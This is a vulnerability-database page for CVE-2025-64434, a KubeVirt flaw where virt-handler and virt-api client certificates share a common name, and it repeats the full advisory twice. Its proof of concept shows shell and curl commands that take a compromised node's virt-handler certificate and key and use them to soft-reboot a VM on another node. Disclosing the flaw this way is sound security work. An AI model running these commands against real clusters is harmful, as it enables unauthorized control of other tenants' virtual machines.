FlawAtlas
Search the atlas
CVE-2025-64434 Moderate

KubeVirt's Improper TLS Certificate Management Handling Allows API Identity Spoofing

### Summary Due to improper TLS certificate management, a compromised `virt-handler` could impersonate `virt-api` by using its own TLS credentials, allowing it to initiate privileged operations against another `virt-handler`. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ Because of improper TLS certificate management, a compromised `virt-handler` instance can reuse its TLS bundle to impersonate `virt-api`, enabling unauthorized access to VM lifecycle operations on other `virt-handler` nodes. The `virt-api` component acts as a sub-resource server, and it proxies API VM lifecycle requests to `virt-handler` instances. The communication between `virt-api` and `virt-handler` instances is secured using mTLS. The former acts as a client while the latter as the server. The client certificate used by `virt-api` is defined in the source code as follows and have the following properties: ```go //pkg/virt-api/api.go const ( ... defaultCAConfigMapName = "kubevirt-ca" ... defaultHandlerCertFilePath = "/etc/virt-handler/clientcertificates/tls.crt" defaultHandlerKeyFilePath = "/etc/virt-handler/clientcertificates/tls.key" ) ``` ```bash # verify virt-api's certificate properties from the docker container in which it is deployed using Minikube admin@minikube:~$ openssl x509 -text -in \ $(CID=$(docker ps --filter 'Name=virt-api' --format '{{.ID}}' | head -n 1) && \ docker inspect $CID | grep "clientcertificates:ro" | cut -d ":" -f1 | \ tr -d '"[:space:]')/tls.crt | \ grep -e "Subject:" -e "Issuer:" -e "Serial" Serial Number: 127940157512425330 (0x1c688e539091f72) Issuer: CN = kubevirt.io@1747579138 Subject: CN = kubevirt.io:system:client:virt-handler ``` The `virt-handler` component verifies the signature of client certificates using a self-signed root CA. This latter is generated by `virt-operator` when the KubeVirt stack is deployed and it is stored within a ConfigMap in the `kubevirt` namespace. **This configmap is used as a trust anchor** by all `virt-handler` instances to verify client certificates. ```bash # inspect the self-signed root CA used to sign virt-api and virt-handler's certificates admin@minikube:~$ kubectl -n kubevirt get configmap kubevirt-ca -o jsonpath='{.data.ca-bundle}' | openssl x509 -text | grep -e "Subject:" -e "Issuer:" -e "Serial" Serial Number: 319368675363923930 (0x46ea01e3f7427da) Issuer: CN=kubevirt.io@1747579138 Subject: CN=kubevirt.io@1747579138 ``` The `kubevirt-ca` is also used to sign the server certificate which is used by a `virt-handler` instance: ```bash admin@minikube:~$ openssl x509 -text -in \ $(CID=$(docker ps --filter 'Name=virt-handler' --format '{{.ID}}' | head -n 1) && \ docker inspect $CID | grep "servercertificates:ro" | cut -d ":" -f1 | \ tr -d '"[:space:]')/tls.crt | \ grep -e "Subject:" -e "Issuer:" -e "Serial" # the virt-handler's server ceriticate is issued by the same root CA Serial Number: 7584450293644921758 (0x6941615ba1500b9e) Issuer: CN = kubevirt.io@1747579138 Subject: CN = kubevirt.io:system:node:virt-handler ``` In addition to the validity of the signature, the `virt-handler` component also verifies the CN field of the presented certificate: <code.sec.SetupTLSForVirtHandlerServer> ```go //pkg/util/tls/tls.go func SetupTLSForVirtHandlerServer(caManager ClientCAManager, certManager certificate.Manager, externallyManaged bool, clusterConfig *virtconfig.ClusterConfig) *tls.Config { // #nosec cause: InsecureSkipVerify: true // resolution: Neither the client nor the server should validate anything itself, `VerifyPeerCertificate` is still executed //... // XXX: We need to verify the cert ourselves because we don't have DNS or IP on the certs at the moment VerifyPeerCertificate: func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error { return verifyPeerCert(rawCerts, externallyManaged, certPool, x509.ExtKeyUsageClientAuth, "client") }, //... } func verifyPeerCert(rawCerts [][]byte, externallyManaged bool, certPool *x509.CertPool, usage x509.ExtKeyUsage, commonName string) error { //... rawPeer, rawIntermediates := rawCerts[0], rawCerts[1:] c, err := x509.ParseCertificate(rawPeer) //... fullCommonName := fmt.Sprintf("kubevirt.io:system:%s:virt-handler", commonName) if !externallyManaged && c.Subject.CommonName != fullCommonName { return fmt.Errorf("common name is invalid, expected %s, but got %s", fullCommonName, c.Subject.CommonName) } //... ``` The above code illustrates that client certificates accepted be KubeVirt should have as CN `kubevirt.io:system:client:virt-handler` which is the same as the CN present in the `virt-api`'s certificate. **However, the latter is not the only component in the KubeVirt stack which can communicate with a `virt-handler` instance**. In addition to the extension API server, any other `virt-handler` can communicate with it. This happens in the context of VM migration operations. When a VM is migrated from one node to another, the `virt-handler`s on both nodes are going to use structures called `ProxyManager` to communicate back and forth on the state of the migration. ```go //pkg/virt-handler/migration-proxy/migration-proxy.go func NewMigrationProxyManager(serverTLSConfig *tls.Config, clientTLSConfig *tls.Config, config *virtconfig.ClusterConfig) ProxyManager { return &migrationProxyManager{ sourceProxies: make(map[string][]*migrationProxy), targetProxies: make(map[string][]*migrationProxy), serverTLSConfig: serverTLSConfig, clientTLSConfig: clientTLSConfig, config: config, } } ``` This communication follows a classical client-server model, where the `virt-handler` on the migration source node acts as a client and the `virt-handler` on the migration destination node acts as a server. This communication is also secured using mTLS. The server certificate presented by the `virt-handler` acting as a migration destination node is the same as the one which is used for the communication between the same `virt-handler` and the `virt-api` in the context of VM lifecycle operations (`CN=kubevirt.io:system:node:virt-handler`). However, the client certificate which is used by a `virt-handler` instance has the same CN as the client certificate used by `virt-api`. ```bash admin@minikube:~$ openssl x509 -text -in $(CID=$(docker ps --filter 'Name=virt-handler' --format '{{.ID}}' | head -n 1) && docker inspect $CID | grep "clientcertificates:ro" | cut -d ":" -f1 | tr -d '"[:space:]')/tls.crt | grep -e "Subject:" -e "Issuer:" -e "Serial" Serial Number: 2951695854686290384 (0x28f687bdb791c1d0) Issuer: CN = kubevirt.io@1747579138 Subject: CN = kubevirt.io:system:client:virt-handler ``` Although the migration procedure, where two separate `virt-handler` instances coordinate the transfer of a VM's state, is not directly tied to the communication between `virt-api` and `virt-handler` during VM lifecycle management, there is a critical overlap in the TLS authentication mechanism. Specifically, the client certificate used by both `virt-handler` and `virt-api` shares the same CN field, despite the use of different, randomly allocated ports, for the two types of communication. ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ To illustrate the vulnerability, a Minikube cluster has been deployed with two nodes (`minikube` and `minikube-m02`) thus, with two `virt-handler` instances alongside a vmi running on one of the nodes. It is considered that an attacker has obtained access to the client certificate bundle used by the `virt-handler` instance running on the compromised node (`minikube`) while the virtual machine is running on the other node (`minikube-m02`). Thus, they can interact with the sub-resource API exposed by the other `virt-handler` instance and control the lifecycle of the VMs running on the other node: ```yaml # the deployed VMI on the non-compromised node minikube-m02 apiVersion: kubevirt.io/v1 kind: VirtualMachineInstance metadata: labels: kubevirt.io/size: small name: mishandling-common-name-in-certificate-handler spec: domain: devices: disks: - name: containerdisk disk: bus: virtio - name: cloudinitdisk disk: bus: virtio resources: requests: memory: 1024M terminationGracePeriodSeconds: 0 volumes: - name: containerdisk containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo - name: cloudinitdisk cloudInitNoCloud: userDataBase64: SGkuXG4= ``` ```bash # the IP of the non-compromised handler running on the node minikube-m02 is 10.244.1.3 attacker@minikube:~$ curl -k https://10.244.1.3:8186/ curl: (56) OpenSSL SSL_read: error:0A00045C:SSL routines::tlsv13 alert certificate required, errno 0 # get the certificate bundle directory and redo the request attacker@minikube:~$ export CERT_DIR=$(docker inspect $(docker ps --filter 'Name=virt-handler' --format='{{.ID}}' | head -n 1) | grep "clientcertificates:ro" | cut -d ':' -f1 | tr -d '"[:space:]') attacker@minikube:~$ curl -k --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key https://10.244.1.3:8186/ 404: Page Not Found # soft reboot the VMI instance running on the other node attacker@minikube:~$ curl -ki --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key https://10.244.1.3:8186/v1/namespaces/default/virtualmachineinstances/mishandling-common-name-in-certificate-handler/softreboot -XPUT HTTP/1.1 202 Accepted # the VMI mishandling-common-name-in-certificate-handler has been rebooted ``` ### Impact _What kind of vulnerability is it? Who is impacted?_ Due to the peer verification logic in `virt-handler` (via `verifyPeerCert`), an attacker who compromises a `virt-handler` instance, could exploit these shared credentials to impersonate `virt-api` and execute privileged operations against other `virt-handler` instances potentially compromising the integrity and availability of the managed by it VM.

Exploit probability 0.2%
Published November 6, 2025
Required by Not available
Last source change March 25, 2026

02 / AFFECTED SOFTWARE

Affected packages

Unknown Unknown

174 explicit affected versions

Go kubevirt.io/kubevirt
Go kubevirt.io/kubevirt

03 / CONNECTIONS

Connected vulnerabilities

04 / EVIDENCE

Source records

Open Source Vulnerabilities CVE-2025-64434

KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.5.3 and 1.6.1, due to the peer verification logic in virt-handler (via verifyPeerCert), an attacker who compromises a virt-handler instance, could exploit these shared credentials to impersonate virt-api and execute privileged operations against other virt-handler instances potentially compromising the integrity and availability of the VM managed by it. This vulnerability is fixed in 1.5.3 and 1.6.1.

View original source
Open Source Vulnerabilities GO-2025-4107

KubeVirt Improper TLS Certificate Management Handling Allows API Identity Spoofing in kubevirt.io/kubevirt

View original source
Open Source Vulnerabilities GHSA-ggp9-c99x-54gp

### Summary Due to improper TLS certificate management, a compromised `virt-handler` could impersonate `virt-api` by using its own TLS credentials, allowing it to initiate privileged operations against another `virt-handler`. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ Because of improper TLS certificate management, a compromised `virt-handler` instance can reuse its TLS bundle to impersonate `virt-api`, enabling unauthorized access to VM lifecycle operations on other `virt-handler` nodes. The `virt-api` component acts as a sub-resource server, and it proxies API VM lifecycle requests to `virt-handler` instances. The communication between `virt-api` and `virt-handler` instances is secured using mTLS. The former acts as a client while the latter as the server. The client certificate used by `virt-api` is defined in the source code as follows and have the following properties: ```go //pkg/virt-api/api.go const ( ... defaultCAConfigMapName = "kubevirt-ca" ... defaultHandlerCertFilePath = "/etc/virt-handler/clientcertificates/tls.crt" defaultHandlerKeyFilePath = "/etc/virt-handler/clientcertificates/tls.key" ) ``` ```bash # verify virt-api's certificate properties from the docker container in which it is deployed using Minikube admin@minikube:~$ openssl x509 -text -in \ $(CID=$(docker ps --filter 'Name=virt-api' --format '{{.ID}}' | head -n 1) && \ docker inspect $CID | grep "clientcertificates:ro" | cut -d ":" -f1 | \ tr -d '"[:space:]')/tls.crt | \ grep -e "Subject:" -e "Issuer:" -e "Serial" Serial Number: 127940157512425330 (0x1c688e539091f72) Issuer: CN = kubevirt.io@1747579138 Subject: CN = kubevirt.io:system:client:virt-handler ``` The `virt-handler` component verifies the signature of client certificates using a self-signed root CA. This latter is generated by `virt-operator` when the KubeVirt stack is deployed and it is stored within a ConfigMap in the `kubevirt` namespace. **This configmap is used as a trust anchor** by all `virt-handler` instances to verify client certificates. ```bash # inspect the self-signed root CA used to sign virt-api and virt-handler's certificates admin@minikube:~$ kubectl -n kubevirt get configmap kubevirt-ca -o jsonpath='{.data.ca-bundle}' | openssl x509 -text | grep -e "Subject:" -e "Issuer:" -e "Serial" Serial Number: 319368675363923930 (0x46ea01e3f7427da) Issuer: CN=kubevirt.io@1747579138 Subject: CN=kubevirt.io@1747579138 ``` The `kubevirt-ca` is also used to sign the server certificate which is used by a `virt-handler` instance: ```bash admin@minikube:~$ openssl x509 -text -in \ $(CID=$(docker ps --filter 'Name=virt-handler' --format '{{.ID}}' | head -n 1) && \ docker inspect $CID | grep "servercertificates:ro" | cut -d ":" -f1 | \ tr -d '"[:space:]')/tls.crt | \ grep -e "Subject:" -e "Issuer:" -e "Serial" # the virt-handler's server ceriticate is issued by the same root CA Serial Number: 7584450293644921758 (0x6941615ba1500b9e) Issuer: CN = kubevirt.io@1747579138 Subject: CN = kubevirt.io:system:node:virt-handler ``` In addition to the validity of the signature, the `virt-handler` component also verifies the CN field of the presented certificate: <code.sec.SetupTLSForVirtHandlerServer> ```go //pkg/util/tls/tls.go func SetupTLSForVirtHandlerServer(caManager ClientCAManager, certManager certificate.Manager, externallyManaged bool, clusterConfig *virtconfig.ClusterConfig) *tls.Config { // #nosec cause: InsecureSkipVerify: true // resolution: Neither the client nor the server should validate anything itself, `VerifyPeerCertificate` is still executed //... // XXX: We need to verify the cert ourselves because we don't have DNS or IP on the certs at the moment VerifyPeerCertificate: func(rawCerts [][]byte, verifiedChains [][]*x509.Certificate) error { return verifyPeerCert(rawCerts, externallyManaged, certPool, x509.ExtKeyUsageClientAuth, "client") }, //... } func verifyPeerCert(rawCerts [][]byte, externallyManaged bool, certPool *x509.CertPool, usage x509.ExtKeyUsage, commonName string) error { //... rawPeer, rawIntermediates := rawCerts[0], rawCerts[1:] c, err := x509.ParseCertificate(rawPeer) //... fullCommonName := fmt.Sprintf("kubevirt.io:system:%s:virt-handler", commonName) if !externallyManaged && c.Subject.CommonName != fullCommonName { return fmt.Errorf("common name is invalid, expected %s, but got %s", fullCommonName, c.Subject.CommonName) } //... ``` The above code illustrates that client certificates accepted be KubeVirt should have as CN `kubevirt.io:system:client:virt-handler` which is the same as the CN present in the `virt-api`'s certificate. **However, the latter is not the only component in the KubeVirt stack which can communicate with a `virt-handler` instance**. In addition to the extension API server, any other `virt-handler` can communicate with it. This happens in the context of VM migration operations. When a VM is migrated from one node to another, the `virt-handler`s on both nodes are going to use structures called `ProxyManager` to communicate back and forth on the state of the migration. ```go //pkg/virt-handler/migration-proxy/migration-proxy.go func NewMigrationProxyManager(serverTLSConfig *tls.Config, clientTLSConfig *tls.Config, config *virtconfig.ClusterConfig) ProxyManager { return &migrationProxyManager{ sourceProxies: make(map[string][]*migrationProxy), targetProxies: make(map[string][]*migrationProxy), serverTLSConfig: serverTLSConfig, clientTLSConfig: clientTLSConfig, config: config, } } ``` This communication follows a classical client-server model, where the `virt-handler` on the migration source node acts as a client and the `virt-handler` on the migration destination node acts as a server. This communication is also secured using mTLS. The server certificate presented by the `virt-handler` acting as a migration destination node is the same as the one which is used for the communication between the same `virt-handler` and the `virt-api` in the context of VM lifecycle operations (`CN=kubevirt.io:system:node:virt-handler`). However, the client certificate which is used by a `virt-handler` instance has the same CN as the client certificate used by `virt-api`. ```bash admin@minikube:~$ openssl x509 -text -in $(CID=$(docker ps --filter 'Name=virt-handler' --format '{{.ID}}' | head -n 1) && docker inspect $CID | grep "clientcertificates:ro" | cut -d ":" -f1 | tr -d '"[:space:]')/tls.crt | grep -e "Subject:" -e "Issuer:" -e "Serial" Serial Number: 2951695854686290384 (0x28f687bdb791c1d0) Issuer: CN = kubevirt.io@1747579138 Subject: CN = kubevirt.io:system:client:virt-handler ``` Although the migration procedure, where two separate `virt-handler` instances coordinate the transfer of a VM's state, is not directly tied to the communication between `virt-api` and `virt-handler` during VM lifecycle management, there is a critical overlap in the TLS authentication mechanism. Specifically, the client certificate used by both `virt-handler` and `virt-api` shares the same CN field, despite the use of different, randomly allocated ports, for the two types of communication. ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ To illustrate the vulnerability, a Minikube cluster has been deployed with two nodes (`minikube` and `minikube-m02`) thus, with two `virt-handler` instances alongside a vmi running on one of the nodes. It is considered that an attacker has obtained access to the client certificate bundle used by the `virt-handler` instance running on the compromised node (`minikube`) while the virtual machine is running on the other node (`minikube-m02`). Thus, they can interact with the sub-resource API exposed by the other `virt-handler` instance and control the lifecycle of the VMs running on the other node: ```yaml # the deployed VMI on the non-compromised node minikube-m02 apiVersion: kubevirt.io/v1 kind: VirtualMachineInstance metadata: labels: kubevirt.io/size: small name: mishandling-common-name-in-certificate-handler spec: domain: devices: disks: - name: containerdisk disk: bus: virtio - name: cloudinitdisk disk: bus: virtio resources: requests: memory: 1024M terminationGracePeriodSeconds: 0 volumes: - name: containerdisk containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo - name: cloudinitdisk cloudInitNoCloud: userDataBase64: SGkuXG4= ``` ```bash # the IP of the non-compromised handler running on the node minikube-m02 is 10.244.1.3 attacker@minikube:~$ curl -k https://10.244.1.3:8186/ curl: (56) OpenSSL SSL_read: error:0A00045C:SSL routines::tlsv13 alert certificate required, errno 0 # get the certificate bundle directory and redo the request attacker@minikube:~$ export CERT_DIR=$(docker inspect $(docker ps --filter 'Name=virt-handler' --format='{{.ID}}' | head -n 1) | grep "clientcertificates:ro" | cut -d ':' -f1 | tr -d '"[:space:]') attacker@minikube:~$ curl -k --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key https://10.244.1.3:8186/ 404: Page Not Found # soft reboot the VMI instance running on the other node attacker@minikube:~$ curl -ki --cert ${CERT_DIR}/tls.crt --key ${CERT_DIR}/tls.key https://10.244.1.3:8186/v1/namespaces/default/virtualmachineinstances/mishandling-common-name-in-certificate-handler/softreboot -XPUT HTTP/1.1 202 Accepted # the VMI mishandling-common-name-in-certificate-handler has been rebooted ``` ### Impact _What kind of vulnerability is it? Who is impacted?_ Due to the peer verification logic in `virt-handler` (via `verifyPeerCert`), an attacker who compromises a `virt-handler` instance, could exploit these shared credentials to impersonate `virt-api` and execute privileged operations against other `virt-handler` instances potentially compromising the integrity and availability of the managed by it VM.

View original source

05 / REFERENCES

Further evidence